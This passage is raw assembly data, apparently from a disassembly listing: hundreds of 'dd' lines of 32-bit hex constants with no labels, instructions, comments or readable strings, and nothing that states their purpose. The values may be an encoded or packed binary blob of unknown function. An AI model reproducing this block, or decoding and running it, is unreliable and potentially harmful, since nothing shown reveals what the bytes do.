		dd 2CCE4E72h, 2FFE1B7h,	5ADA75ABh, 8A042D6h, 0C8E95909h
		dd 126146A1h, 0AD31CE68h, 0F568A0A9h, 66A39E77h, 0B900FB8Fh
		dd 73A17F67h, 13E8C981h, 2222D1Bh, 18480EFBh, 0E507E076h
		dd 509B9537h, 0C4D3BE7Ch, 0A38EF8DAh, 0DD672787h, 0ACB2BB4Bh
		dd 0BB0BC0F8h, 0D0BC6770h, 54B32087h, 25825B4Eh, 0BB1AD056h
		dd 0A7F09D0h, 0AF95A3E8h, 4597C6BAh, 2ED8123h, 34AC9885h
		dd 0C64BE9AFh, 954456E4h, 0CB039CC6h, 58392957h, 0F1AA4E5Eh
		dd 0E1663A44h, 0E2012A8Eh, 1D085F20h, 3E5000D0h, 0A9E9238Bh
		dd 202F67B2h, 45482BC8h, 0ECE9C1F4h, 388172B3h,	10DB166Dh
		dd 0E306E9B8h, 0C4C7574Eh, 8AB2412Ch, 40DEF25Bh, 32E96ADCh
		dd 0BEB33D80h, 558887B0h, 0D87A712Eh, 8209824h,	0C7546A98h
		dd 31E4ADB3h, 0B77AD84Ch, 6D1DBAE1h, 59C2F0D3h,	0CA683911h
		dd 46DFADDCh, 2202CFBDh, 6EA4C51Eh, 46E8014Bh, 0BCE919EDh
		dd 6FC1C1DFh, 13047A52h, 27EEC6DAh, 0E8F58471h,	6852015Ch
		dd 1AA622E7h, 0BF2CA20h, 2640592Fh, 0B9F62706h,	3A1DD590h
		dd 0F0BFE828h, 4058C327h, 0B5E574Ch, 0EDC177A9h, 2F3A2650h
		dd 5250273Eh, 0EAFF3308h, 6C6EF7Bh, 8AB4054Eh, 0FAF9ABD1h
		dd 656D030h, 7F43373Ah,	782C259h, 3E7E2462h, 0D7B56C42h
		dd 6990FF96h, 0A210E0Bh, 1DFA5874h, 831BC07Dh, 0BB4F88CAh
		dd 3B98E9F1h, 6CAC5B12h, 10B89C8h, 704D74FBh, 59810EB6h
		dd 975F6E22h, 2DC0482Ah, 39680140h, 5EF0530Bh, 0E9ED3408h
		dd 9DC899CDh, 0CA7CC605h
		dd 9E098070h, 16D921DFh, 0D70A9DF6h, 2C4C1583h,	0FEA6267Ah
		dd 0FD046F95h, 0A30AE4FBh, 0CDE52E95h, 9D71179Bh, 2EE882Bh
		dd 0C98628FBh, 0AF19D95Fh, 0C45C4FECh, 57E280E6h, 2F16A4BFh
		dd 406B6D43h, 0A133819Dh, 3512A80Ah, 0FCA2C620h, 356D09EBh
		dd 20DE3FFDh, 5F1E08A0h, 26308343h, 0AE10BF3h, 0DA898221h
		dd 0C43B0972h, 0C2E7B7D4h, 5428D0C2h, 69E54158h, 0A560CA3Ch
		dd 6B0B2686h, 0E4CF2956h, 0A33A5B5Eh, 2D0C948Dh, 61E1BA35h
		dd 1693559Fh, 3B18564h,	694268C0h, 166992F2h, 3EC56130h
		dd 0F73D4E44h, 0F8B724BBh, 9A51132Dh, 542697F2h, 0D8DF3EEDh
		dd 0E02C906h, 0A1E93256h, 0B2B6CBF4h, 17A558FAh, 0CC09B568h
		dd 10416F92h, 1239C310h, 65AC900Ch, 81070606h, 2FCB0F05h
		dd 0F7A2FC67h, 0F8010014h, 56B92D5Fh, 92F0CC49h, 0A700B92Ch
		dd 773E1780h, 0DE58F745h, 0C1F401A1h, 59E9BA88h, 0B65F3774h
		dd 0B4D19337h, 531C5205h, 0FA9FE788h, 0C4412E12h, 7C67B72Dh
		dd 90C829C0h, 10880E2h,	0E8C3B0D0h, 77050ED8h, 0B8F3194Ah
		dd 98BFA321h, 1861275Bh, 0A247D7F7h, 217B5C06h,	0B1E68102h
		dd 0E877E862h, 1778C657h, 0E16F0B5Eh, 1822805Ah, 0E9494D03h
		dd 0D3E8959Bh, 668902ECh, 0CB384C29h, 0B1E9D00Eh, 23BDBC79h
		dd 0C0EB2447h, 3F36442h, 6BC34781h, 310A93D0h, 0ED68D212h
		dd 595C09F4h, 0EF3577B4h, 20C8F13Bh, 6AEBEC0Dh,	22533CAh
		dd 7CD40062h, 5E72E970h, 0EC41D009h, 51484B20h,	264F07A8h
		dd 0CB67294Ah, 687B2511h, 54CD0C83h, 660A465Ch,	81996038h
		dd 53D80F0Bh, 19A5AF3Eh, 188AFD9Fh, 340A19EFh, 0C1801CD5h
		dd 0FBF5396Fh, 693058D4h, 23843BC8h, 4330FEDCh,	5F3EBDB3h
		dd 16F000Eh, 0F8315BDFh, 9C9BD99h, 0A82D5ED2h, 67EA9FF0h
		dd 2C4380DFh, 41ADE4Bh,	0F0E45BBDh, 0EF3EC509h,	96D00345h
		dd 98C07CC1h, 0D04FD79h, 0C0093839h, 4486EADBh,	29636E13h
		dd 5AB02504h, 1C572102h, 103C9675h, 2C2B1BE9h, 1A3CBD5Ch
		dd 0CC5CCC28h, 65D0D2D3h, 4B13B9A0h, 0D98F044Ah, 9847E904h
		dd 0FB90ACCh, 1FCB01B5h, 64EF1C6h, 0BE1813Eh, 773AD0Eh
		dd 819E07DCh, 0A5B8EB67h, 28738C38h, 39F950C6h,	3C123FFCh
		dd 0F7450483h, 35FABCD3h, 7400084Bh, 0E90687F3h, 0D8891D39h
		dd 0C310535Bh, 0C2A52194h, 0FEABD7F9h, 0FCB9AB00h, 5329F469h
		dd 20BEE709h, 0EA8730F0h, 0EF91F876h, 22819B5Bh, 5368D701h
		dd 2079AF9Eh, 0B515A225h, 8469D9FAh, 95A5B9E9h,	4B4EF884h
		dd 595FFAD2h, 21099687h, 497AB64h, 0ADDE43FBh, 0EA941E2Fh
		dd 0D24B1E00h, 2018D80h, 0B22D59C8h, 34402E75h,	7A305F8h
		dd 0FD3F6FE1h, 47346B4Ah, 33209BFCh, 3957E92Ch,	19F5D094h
		dd 0EFA7FE88h, 165C5230h, 0C05F154Ah, 0AD26D476h, 69A0DA5Ah
		dd 55E92A5Dh, 0B16CBFEFh, 9023F90h, 0C12F6428h,	0FA90E0EEh
		dd 8EBE80F6h, 7A661107h, 0E5C4F189h, 9E5AB2F0h,	1C943CC4h
		dd 0EAC095F3h, 32346A9Ch, 5A028B0Fh, 0E60B8968h, 2D652DD3h
		dd 682C9866h, 0D4A41A6Ch, 800C9A10h, 2B065FC7h,	62F9A881h
		dd 0C848173Fh, 78E8683Dh, 0B5553BC5h, 12369CB4h, 2410722h
		dd 3D05D5D4h, 1D635AC2h, 1B6B884h, 4BF8797Ch, 0B268EA01h
		dd 46337E04h, 2251862Ah, 8C7D609h, 0A2438FA7h, 4343253Fh
		dd 82AC71Dh, 0C720A920h, 5C61FDB4h, 9796A7E0h, 41BD9D64h
		dd 9150EEB5h, 77BCB353h, 0BFC57080h, 0F9E23D82h, 227915Ah
		dd 25A7719Eh, 72698959h, 6792F9BAh, 9FF3B25Bh, 0FEA049CBh
		dd 0C36841A9h, 0C5683871h, 52409B1Ch, 516EA0BFh, 0D9409558h
		dd 5FCECDE9h, 3050C5ACh, 57F930FFh, 12544C68h, 89B5AEBBh
		dd 319289A3h, 373C5FCAh, 0E93590A4h, 6A9516FCh,	0F0B500E0h
		dd 5C548819h, 4B12D329h, 0C4CFACF4h, 9567056Dh,	0B8DDD43Ch
		dd 0A204A4D1h, 21B4ABF5h, 0A33E1786h, 0C05E1227h, 0D9F6588Fh
		dd 390B86D2h, 0B0E96626h, 219A40E7h, 0EF1C6F28h, 79D57A2Fh
		dd 975A9E9Fh, 184BAD70h, 0D5067EEBh, 695D9A88h,	53061D4Ah
		dd 0CF569B03h, 0F949788Dh, 43E94EFh, 737220E6h,	17A8D0C0h
		dd 9640BDD5h, 142627A7h, 1C34DF47h, 0B4E90802h,	3B007B99h
		dd 0E98578A3h, 0B2AC2980h, 12520BC4h, 0C84F96E3h, 45BD0C8Ah
		dd 0A2529844h, 0CC054DC0h, 2C79E90Fh, 0D2DE7DBDh, 88EA49F0h
		dd 105EAEF8h, 0DABF9480h, 37F24Fh, 3E82E781h, 55525813h
		dd 53C324D3h, 0EADC034Fh, 0F715F92Dh, 0E338ED02h, 50897580h
		dd 219D0008h, 1C255B6Ch, 5C023D4Eh, 4C0B3548h, 98BB5038h
		dd 413DE79Fh, 38137D90h, 74EF9706h, 31E2F076h, 4A8DDD4Bh
		dd 4BDCCC30h, 8DBE9128h, 5D372BA8h, 0F21742F2h,	0E2F69242h
		dd 0AF29AE1h, 93731BEFh, 1B491087h, 0FA79F168h,	70084A9Fh
		dd 94839073h, 18EA2D87h, 597A1BDEh, 0AF7E49CAh,	883D96EBh
		dd 7177C20Eh, 0D01E4C14h, 0E91A0890h, 965FCF03h, 270A85E8h
		dd 98FB7789h, 0F6E09C42h, 0BA6A4B2h, 0C6C26963h, 819814C3h
		dd 13E212C9h, 0F6FA2F76h, 0D2C81B12h, 0B8599200h, 4DD393BEh
		dd 0D3AA6AFh, 12A4350Bh, 68158A58h, 12A72E5Ah, 99CF3960h
		dd 8660ED39h, 0EE466FBAh, 0DB0460E5h, 0B670417h, 5AE966E0h
		dd 684D038Eh, 3B134212h, 2D3DBB54h, 2E2AC5F0h, 18C913E6h
		dd 780E3BE4h, 45A54E89h, 2A523761h, 810E4DE2h, 83C7CDCEh
		dd 0E084FF3Ch, 8AD2A4C8h, 293EE5E4h, 80812DF5h,	777B865h
		dd 35320071h, 20633A13h, 591E8625h, 3980198Dh, 53C0A03h
		dd 0E404007Eh, 58C30912h, 0DAE4D331h, 0D2F708C1h, 40E68742h
		dd 2C07E5h, 7D057E6Bh, 297FDE08h, 8368D809h, 0B0E4E42Bh
		dd 0D09001Fh, 86BD373Bh, 0B72D1915h, 0CFDF929h,	0C5D33FE1h
		dd 893D377Dh, 9E0E9273h, 927ECC9Dh, 0FB788231h,	28F13139h
		dd 9488CCCEh, 358E3C0h,	0A1022685h, 0F8885409h,	96E6339Dh
		dd 0EEF85506h, 0C324E96Ah, 538BA723h, 4925B936h, 0B1924632h
		dd 0CD8B2BE1h, 222F1D4Ch, 18EE16DAh, 5713949Ch,	60B5710Fh
		dd 0DF892AFCh, 0D8B9015Bh, 0E9176D44h, 0BAF85231h, 3BD77F60h
		dd 3204AC8h, 0F2E5815Dh, 0F140D3C1h, 1D3438C0h,	35D7D501h
		dd 3A8B94F5h, 4603F16Bh, 1704A5BEh, 0F044D5E7h,	0A3139E81h
		dd 257DBD02h, 34B129E0h, 80D5C660h, 13483768h, 0EC54C9F4h
		dd 0F268268Ah, 9051C715h, 7AB06203h, 0A4035DB4h, 223581Dh
		dd 87FA592h, 0D960519Eh, 39B712A2h, 0A7205365h,	0B67DC5BAh
		dd 0C660EE03h, 607E3312h, 0FABD5A28h, 0C8FE27F7h, 8E0F6CD3h
		dd 5507E93Ch, 28086EA8h, 0C6B222BFh, 691A602Ah,	0ED694E95h
		dd 5B59A604h, 0E57D90F4h, 0EF160726h, 0D4FEA9A2h, 9F015C0Dh
		dd 824B1BD0h, 347E71C4h, 0A0A706C2h, 0E518CCF4h, 0FC9F9836h
		dd 0F46F0527h, 0EC5AD731h, 361E9662h, 0E8695499h, 72F63DDh
		dd 50FB522h, 0B27481E5h, 3C37F545h, 0A5BF01BEh,	5618C33Bh
		dd 718143EDh, 4066E281h, 723AFB14h, 1DB4FD6Ah, 90259F3Fh
		dd 6278F02Fh, 0B8E98421h, 45BF2850h, 8158C9Ah, 34EED3D7h
		dd 0AD000BBCh, 0CB4F2D05h, 4E439845h, 5DCA0BE4h, 0D64B3CF9h
		dd 0E90E4C10h, 92913E2Fh, 6F1440D5h, 28F10F01h,	0D649D121h
		dd 0FEBCBE63h, 0C55EC24Bh, 62DF287Fh, 3F40A519h, 0E9D0415Eh
		dd 0F6475BAFh, 422812F6h, 44C580ACh, 5B67A293h,	277F5AB6h
		dd 68C4BEABh, 8AA92FF0h, 0D65E8B54h, 69335ED8h,	90CAE148h
		dd 23BB80h, 830F3511h
		dd 0CB8101EBh, 89227812h, 50E37500h, 0BF21CC41h, 0EB4BBFC1h
		dd 93AF88A0h, 31B827h, 2997F7B4h, 0E4424A9Eh, 1640EBBEh
		dd 9238A108h, 0EF4D0B15h, 0AB20966Ch, 108160D2h, 38B6596Bh
		dd 557C6CB7h, 12E20CF1h, 32ECD1E0h, 9A62F994h, 1819F5CCh
		dd 8FB52257h, 1A65EA68h, 4339B880h, 2DE90DC5h, 9759AABAh
		dd 350114ABh, 30613225h, 0EC3C2231h, 0AE50BA12h, 0D6896707h
		dd 444A1CC2h, 4A47EEBCh, 5E10B33Fh, 5501E1A2h, 0E81937BDh
		dd 0CD342007h, 0F817E616h, 0DBFDCD09h, 2DBA47Ah, 1A1965A2h
		dd 0BEE083FDh, 0E91117A3h, 2D11409Dh, 730C6FB4h, 608122EBh
		dd 7628E73Ah, 5FE9A032h, 71061365h, 0FCED0950h,	118F2D30h
		dd 6835A32Fh, 7E54DB93h, 3FCF9018h, 95E0131h, 185DB3DFh
		dd 0B5FE683Ah, 12BC4466h, 309B6488h, 44AC3DEh, 0AFD860B7h
		dd 7C0A377Fh, 41637262h, 0F7760057h, 2C441C4Eh,	8102BBE9h
		dd 0E7028BDh, 48643C03h, 270B90AFh, 97A8058h, 4BE91C57h
		dd 0C116876Fh, 0D8FB6856h, 5E4FDDDFh, 0C53BE7E1h, 0E334EEA9h
		dd 0EA1322ADh, 0B443F4F9h, 60787114h, 7D2A049Ch, 7B8726FDh
		dd 7AE34F31h, 8A2C0CB5h, 0A7E93A9Eh, 43767129h,	21151C54h
		dd 25B7D143h, 206FF8D0h, 0D8982E33h, 740D7625h,	922CC5A1h
		dd 0FE6957E1h, 215FC001h, 0A337F84Ah, 414BDC99h, 2E4868E9h
		dd 0C0F67B90h, 0B1475EFBh, 0B3D2D14h, 44F8B6E9h, 0B5C1BF0Eh
		dd 10826249h, 5B3ED42Fh, 0F5EA547Fh, 31BE0356h,	53055A70h
		dd 75320E01h, 0C7E9017Dh, 0D12BF725h, 8906E08Ch, 4611D5FDh
		dd 10EF0A2Ch, 1DA25632h, 28D5019Ah, 419D3E9h, 0D7E81D81h
		dd 0DF5E729Bh, 3F91F6F9h, 5A357B88h, 59C2E3F5h,	0FE444B77h
		dd 9DD84F49h, 20B1413Dh, 0D89271ABh, 68525101h,	127B4F46h
		dd 0D7C388F0h, 0C95FE3F1h, 95D158C7h, 66895CE7h, 1E7490D3h
		dd 0C8CE958Eh, 9897C590h, 7B65BFC7h, 323D4843h,	70E0300h
		dd 0E9DF0916h, 77905A4Eh, 70F480D4h, 66E32C82h,	0E90F82B0h
		dd 0FEDECDB1h, 0E86876C9h, 0EF092D06h, 1CBFFEE4h, 0E8B906D1h
		dd 3C1A6266h, 760ADD19h, 47B4C68h, 0BBD388CBh, 1EFA4F35h
		dd 0F21C56FAh, 51132C04h, 20BDB1AAh, 443E1CF8h,	4E506519h
		dd 6329FA45h, 2AF5FB41h, 8154D0h, 1A4A10CFh, 958AE93Ch
		dd 7711A095h, 0B0042529h, 800BEEE6h, 0DEE4D6F6h, 0EB008075h
		dd 9904402Ch, 0B193FDE9h, 292EBC78h, 7726BDE9h,	0D7F91A11h
		dd 0E9F86676h, 389C69C3h, 0C75738B2h, 4D11A71Fh, 25F72278h
		dd 821002Dh, 0E68058C5h, 7EEDE601h, 17B027D7h, 590E32DBh
		dd 2244B2D3h, 80B98CFCh, 9B16CDD4h, 0D419B94Bh,	5BE9B14Ah
		dd 0B76122Eh, 105E0C0Bh, 507F14D2h, 4EF6B350h, 856E5EB7h
		dd 0B011353Ch, 650BE1F6h, 59FD7Ah, 0C8421F60h, 16294C48h
		dd 13E52F72h, 163E21D3h, 327E1CBh, 41541870h, 0EDF23581h
		dd 0CC13FA0Dh, 3125FBE3h, 0A88CF06Bh, 8E6E0975h, 0E124056Dh
		dd 43FCCB52h, 8D7D5E5h,	5125E0EBh, 0C1B58816h, 83FB310Bh
		dd 6FD3F75Eh, 65EB1008h, 669F1FDCh, 2EA8D0D6h, 8C5CFC89h
		dd 744E69Dh, 0AFC016C3h, 509D0CE4h, 29BC86Eh, 680ABB6Ah
		dd 7A6C148Dh, 4948EA0Ch, 9EFCA25h, 31654D40h, 0DBF7CD02h
		dd 0E312A7F6h, 0D1AF300Bh, 0FC9E0277h, 0A4DF6692h, 0D3B818E0h
		dd 0C5E0A35Fh, 57CA1487h, 0E953314Bh, 0BAE6346Ah, 524F3501h
		dd 45536827h, 14575648h, 0EE5B057Ah, 6825FE02h,	13C23151h
		dd 70133241h, 0CC1211Bh, 47A829D9h, 0E3038767h,	2EDD650Fh
		dd 3DDCF3E0h, 7D79032Ch, 6428A910h, 68020BABh, 0C09A46F9h
		dd 2EED5578h, 6D5AAA0Fh, 0EDEDBFF3h, 7E57D96Ah,	10F25510h
		dd 0AD24EED9h, 36823B54h, 0C8297CA1h, 5BE1455h,	0E528B805h
		dd 0B1BB8447h, 70B02B3Fh, 0D001B72Dh, 2B888BF6h, 96A106C4h
		dd 8980C22h, 604A0768h,	40CDF1ACh, 6BF5E163h, 5F219862h
		dd 0E0C1FAB1h, 2E796806h, 12171B9Fh, 29B569E9h,	0CB8D7FFBh
		dd 1670B87Ch, 7D1411h, 4F7BEE1Dh, 0ED0BBD0Eh, 4E8C5A2Eh
		dd 0F8294AF2h, 9285160Eh, 86C26134h, 0FF3CEA27h, 0E89D9F90h
		dd 9BA1D582h, 428229F4h, 6A6BE0B4h, 0C86055B2h,	5D3B277Ch
		dd 4AB4737Fh, 607C6850h, 0E9592025h, 0B6A8DE93h, 860CDCB0h
		dd 8C1FEC8h, 0F0D076F6h, 4DF132Ch, 271A0CAh, 283D9DF0h
		dd 768C4DE8h, 6867C361h, 0F528545Bh, 2A5AAC4h, 5D87D129h
		dd 4EF2F9E0h, 0EB806D4h, 179CAD13h, 5E210CF0h, 85ED56D1h
		dd 8945F9FEh, 1DE4D3EBh, 0C6F02096h, 884E0FFh, 73082BD3h
		dd 5DA58E29h, 12585646h, 0DD64E91Ah, 0CC33D536h, 0F6CAE1E4h
		dd 25883E5Dh, 0A779F030h, 506CE942h, 89EDEB8Ah,	54710AADh
		dd 4048E96Fh, 2C62B21Bh, 3EBED128h, 5EB24141h, 0D752290Bh
		dd 4A893846h, 0C9439013h, 0BE5DC168h, 5A5C09F1h, 0B9607BE9h
		dd 75B0F6B5h, 0FA06C667h, 0DCEBE562h, 0AEC83D40h, 49CEE813h
		dd 1E16C6C2h, 3E6C11Eh,	64878679h, 4C135F15h, 5D008A4Eh
		dd 31A8D7FEh, 68175EF0h, 6460130Eh, 16066E2Fh, 0B023E941h
		dd 2C59D303h, 895216AAh, 0FE2EF4A3h, 0DB4547D9h, 0A7C92933h
		dd 66109694h, 343689E8h, 6D0C9823h, 904B7612h, 461602EFh
		dd 8E3AE945h, 0FBCE3F4h, 66642C23h, 9399220h, 87DE5AC5h
		dd 0BCEEAF05h, 39A8073Ch, 0E7F05E3Bh, 760C453Eh, 4DF7041Ch
		dd 81625120h, 2022F5F1h, 0DD4AE9A5h, 0FDA89212h, 726856A1h
		dd 81C15F07h, 0D12C32E9h, 882EB209h, 3462A4E1h,	862D68F6h
		dd 0C786932Ch, 51F229E4h, 511F069h, 0DF7120FBh,	1AF85C13h
		dd 9D12251Eh, 9691C788h, 36D3255Ah, 89A57C25h, 50DEEE5Eh
		dd 5AD68252h, 0DC1B4356h, 2805DDF9h, 14C6C5Eh, 4834D696h
		dd 9B562950h, 51EE9A44h, 0C05693A5h, 8A6372A8h,	0EF1411B6h
		dd 0C9C65007h, 0DE404681h, 1FF337DAh, 6CC36857h, 0C686C07Ch
		dd 29592132h, 0AC23DC0h, 0A835AA46h, 8EA283Ch, 69C8D883h
		dd 0A648419Bh, 6187018Bh, 0D3017F42h, 8129744h,	5A23216h
		dd 8DB2D79Dh, 88A22B21h, 78AD48h, 0D153641h, 644572Fh
		dd 6FA92D00h, 70E9108Ch, 2562939Ch, 649D01E4h, 343505B8h
		dd 8497309Ah, 66BFA13Eh, 0EFF41082h, 0CA7E5D26h, 7BCB10CCh
		dd 0CD4A35ECh, 2324BE4Ch, 55F87F01h, 0F601B830h, 0B461234Eh
		dd 6384F82Ch, 925C09CAh, 619E7E47h, 7EE51AE9h, 5A7569D7h
		dd 0E13041BAh, 70CD7F74h, 2F02F127h, 0E94AFDC4h, 0C4634AD3h
		dd 0BDF20C4h, 13D66816h, 4B41C260h, 7630E309h, 0CD81803Eh
		dd 0B571A09h, 1630013Bh, 0D344BF7Fh, 0E9C488B8h, 4F12BC9Ch
		dd 40B2298h, 0F1850FDBh, 808CBA3Bh, 79226006h, 0C5295AD0h
		dd 18BF31B4h, 0F77B1C8Dh, 943A0B88h, 0AAD0894Ch, 0E902EB04h
		dd 0FD12A0C8h, 82F24F92h, 8BCEE72Eh, 0BCD5751h,	2FFA59ADh
		dd 44B54994h, 0D91F20DAh, 4668660Eh, 0F5E9262h,	3AD3BF00h
		dd 0C5A349E9h, 0FC9F2CF7h, 0B6F874D6h, 0C3A3C261h, 4E721388h
		dd 4FC4C710h, 0FCA0D789h, 25EC41E9h, 7EECCD3h, 7DAAA997h
		dd 8C418AAh, 0B901CECFh, 5D8D51FAh, 350E003Ah, 1CB12B89h
		dd 0D8F74013h, 47DEA001h, 0C77B1E37h, 66622945h, 0E18D335Fh
		dd 39683F21h, 0C82F8C90h, 53018744h, 6AB6BA52h,	5BD90716h
		dd 41D5C72Fh, 0D8F8CCB0h, 610574C1h, 0D90175A6h, 5008C710h
		dd 46B73B4Dh, 0DA452A18h, 14F305BAh, 0A1DE3C7Fh, 0F2AF83Ch
		dd 0DFC289A9h, 9D66D9EAh
		dd 527C305h, 0BDC57AF3h, 980B8787h, 1762AA02h, 0CB571B0Bh
		dd 0E9FA9804h, 46CE50C1h, 42D01264h, 68060F65h,	84320EE6h
		dd 80002A9Eh, 0B65214EBh, 0B4D7F6EFh, 0AF5B278Dh, 59095289h
		dd 2F764BACh, 0F698E942h, 0D77BC9D3h, 8B4CD92Fh, 57D1D0A5h
		dd 0EE64396Bh, 0BD20C3ADh, 1AC17661h, 4CC23127h, 947097D5h
		dd 63053F13h, 7D270D00h, 22E94B15h, 469291BEh, 2051E4B5h
		dd 0BE70855Eh, 0D23039A0h, 0DED85381h, 0A4FD9912h, 3A140082h
		dd 0D5F74BF8h, 67685107h, 59311825h, 60CECD09h,	0BE5EE1Fh
		dd 0EB89F71Fh, 2140E4D1h, 0B5B0E9D8h, 7A080048h, 0B9FAA4A6h
		dd 0A5901C4Fh, 20421Ah,	2DE0D175h, 4A8F2B6Bh, 8072507h
		dd 57504734h, 665504Ch,	68599935h, 9C09A620h, 0FC0E9219h
		dd 0C1E501E2h, 0D343D03Ch, 0CAE908B0h, 5D762CB2h, 138AF02Dh
		dd 0FEB5F1F0h, 0A0DC4A68h, 7EFD9AB5h, 0EBE9E741h, 1FAC36D4h
		dd 5FFE2900h, 9D349568h, 0E9D0DC59h, 0E22E5BAAh, 64A54021h
		dd 1F2ABB1Fh, 0D1A43D89h, 377B2748h, 0ED5CE9C1h, 53A3226Ah
		dd 697516F8h, 50950BE8h, 680780DDh, 391F6231h, 0B2774556h
		dd 7E3240D1h, 328A023Ch, 0E6E9EE87h, 1C2D63E8h,	337B7002h
		dd 8B05F829h, 253DE507h, 3A40087Ch, 1774797Eh, 0CC590368h
		dd 0E381229h, 2C29B367h, 0F8E188Fh, 232CC684h, 0F25957EEh
		dd 60D22498h, 383FE42h,	0D1BAC629h, 6BBEE5A0h, 4F004318h
		dd 1384EE81h, 4B460469h, 0C9DDB24Eh, 0D525C20Ch, 1BFE0B96h
		dd 2A90445Bh, 4C8008E6h, 910B8069h, 0F1004913h,	453783F1h
		dd 0A65F1B7Bh, 5C4B4197h, 0B67A7AEBh, 5FB19A4Eh, 59E39C2Eh
		dd 0F020855Fh, 5C371E4Ah, 0F628A56Ch, 97CC9507h, 4E011720h
		dd 2098A56h, 7E22ADBAh,	54B8F82Ah, 2D68921Eh, 25D1290Eh
		dd 79FE8751h, 96FB2895h, 630C6DF4h, 27B848CCh, 0F01FC4F4h
		dd 0B6965B18h, 6F642881h, 2123EA1Ch, 0ED0C5458h, 39C12740h
		dd 80DAAEAh, 9914040Ch,	588C70A6h, 47946810h, 0DDAD5F50h
		dd 2D253B5Ch, 2CFF30E2h, 0BA301474h, 0D013BF84h, 373B54C8h
		dd 1642DAF3h, 0C500080Bh, 40F05CAAh, 6C0BEBF8h,	141EF7Fh
		dd 49072F24h, 2DDB80FAh, 0B5757E45h, 8E6666E0h,	9C1277ABh
		dd 68AE5F4Ah, 56985174h, 3659970Bh, 0C760628h, 0CFFE0E18h
		dd 0D479C780h, 515A02C9h, 98ACB00Fh, 761013Fh, 7CC8687Ch
		dd 0D255E74Ch, 0A8DE528Eh, 0DF01859Fh, 98BC108h, 5904F021h
		dd 295900E4h, 171D2DD8h, 98734445h, 712A0C1h, 6FEC6CB6h
		dd 7FBBD310h, 0B567F54Ch, 0C004121Ah, 2512102Ah, 187628E2h
		dd 28DB5627h, 0F7295EB9h, 655C2726h, 17EE0050h,	121A172h
		dd 4D8FE51h, 49328B08h,	0CFE1C480h, 58C53100h, 54B8EA89h
		dd 92E18E9Dh, 0B50315B3h, 7DF580BDh, 2859EB80h,	10E4CB58h
		dd 0A65E81F4h, 0E76B16DCh, 5DC223BCh, 0C6C3D031h, 43E90815h
		dd 0FCBD07B6h, 4B2F0A37h, 0C8D2E246h, 80A28FD1h, 590EE828h
		dd 1CA8C380h, 0BEFE6BE7h, 8862BFC5h, 8B8D0657h,	0BBBCEF8Dh
		dd 0F3B24493h, 709209D3h, 8105D5FDh, 0E9060090h, 284446E7h
		dd 59E1294Fh, 55D20805h, 87894AB9h, 3A3288C1h, 97D6AA17h
		dd 0C74E0D10h, 7B67D19Eh, 8C2C202Bh, 11C9019Eh,	0B7458965h
		dd 0F2405A82h, 9C84AC3h, 15D5FC1h, 3E2C1A5h, 5BEA5282h
		dd 48D675F7h, 27F36701h, 7E9F894Dh, 5B1DEE29h, 4019280Fh
		dd 59E593B1h, 0F1C0806h, 79E04A9Ah, 5E5A32C3h, 8B09814Ah
		dd 0C0967505h, 5800DCF6h, 902D06F0h, 1626C36Dh,	302E74E9h
		dd 80A3B311h, 9475E339h, 6DA99EBh, 3661E93Bh, 86680551h
		dd 0A6339F7Bh, 1781289h, 890B33A7h, 72425EF1h, 9A556F42h
		dd 40A1E842h, 0CE9B9F43h, 284280E3h, 9E012024h,	61E9C4C9h
		dd 9D6CA268h, 8BC5F34Ah, 0E9D4765Ch, 5E583860h,	9A8522BDh
		dd 484E753Eh, 0D71514B7h, 0F5C4ACA9h, 20E81984h, 119B11A4h
		dd 0BACF8D12h, 43A1D275h, 7F17447Fh, 32E41EADh,	6AD1968Bh
		dd 0E0DA0595h, 80AD0FD2h, 81017F93h, 3C9AB043h,	74266530h
		dd 76BC0328h, 0CEF032D3h, 264F6EBDh, 138601C0h,	212710A7h
		dd 1EE212C6h, 5F51E441h, 97F4C2Eh, 0CE7E4D0Eh, 9A0F008h
		dd 6DDCD141h, 301B7B00h, 7AE1C146h, 0DBA73503h,	17E6A8B1h
		dd 0C8E422A3h, 0B2ACB6D7h, 0A38633EBh, 4CED0631h, 0D34B66A9h
		dd 8910EBA9h, 8EB34A7Fh, 6F0E0193h, 44301D73h, 2F8BEC96h
		dd 52947857h, 2D8BBF25h, 77A8735Eh, 0A580CE5Dh,	354C04D9h
		dd 67FC99F0h, 0BAA585E9h, 5DE59D20h, 0FA77EA6Bh, 0D0BF4B70h
		dd 0DBB9DF19h, 0CD88E74Bh, 0B1A7F4E9h, 887129Dh, 0B70FAF46h
		dd 0A660EAFDh, 7225C5A6h, 4C586982h, 0E9A92357h, 44434ACAh
		dd 0A980D023h, 1ED04A4h, 1EC2564h, 1B8F2218h, 53013EB6h
		dd 0DBF666B3h, 0F120CBFEh, 0BFF3E601h, 0EAF54084h, 292D0F8Ah
		dd 7EBF3548h, 905652BCh, 55A0954h, 6D8C7831h, 6C95A9D2h
		dd 50A4B63h, 8254B121h,	6801F31Ah, 0E7731AC4h, 0B3D6B601h
		dd 2AF33094h, 0B04B71CAh, 0AF0AE51h, 7FCE918h, 13C9F393h
		dd 42DAC45h, 1388FD89h,	0B15FD9F3h, 54BB700Fh, 20987E5Bh
		dd 0D87A5AADh, 0C930E932h, 0DC5FDD3h, 0FBF02730h, 70284554h
		dd 0E9124E8Eh, 8956C5FEh, 84D06C1Fh, 42165529h,	2D05D708h
		dd 79192DAFh, 0E5852A68h, 0A72AC990h, 0F4EBE028h, 9FC0ADBEh
		dd 0ED2DC5F3h, 0BF70B82Fh, 0C5BF5194h, 0C05297F6h, 713353DDh
		dd 1FBD7F00h, 0E9C7AB40h, 0B0A9972Dh, 0E826150Ch, 60EBDAFCh
		dd 17BE0E09h, 0D7B31A52h, 14F99711h, 60642AEFh,	0B1EFBD08h
		dd 50F00AAh, 505B5239h,	534AE829h, 5D01211Dh, 3BE96285h
		dd 9689C24h, 563F211Dh,	19189156h, 0BC55E90Fh, 48D32D33h
		dd 948EB1E8h, 6DB21719h, 395E2579h, 0D5E9615Ch,	23932396h
		dd 5F70092Dh, 6C81FEB0h, 17B5C695h, 57E03AE9h, 0B3DDE815h
		dd 0BB7927F3h, 5C1A16D1h, 971A6C42h, 0CFE93F30h, 7D24D64Fh
		dd 50F61EF2h, 1D2DBB01h, 47C73E0Fh, 8407A0F3h, 45E916CCh
		dd 0FB18D1D8h, 2159D16Bh, 2057F4BDh, 3550A29Dh,	6F09013Ah
		dd 0B5FD571Ch, 80D0A076h, 8841F105h, 39F059CAh,	70142768h
		dd 0A8DC4C18h, 0F767DB9Eh, 5F5A74ACh, 0B9F0D71Eh, 7A08D754h
		dd 0FB51127Ch, 0A90925h, 2685386h, 0BD601294h, 0B20372Fh
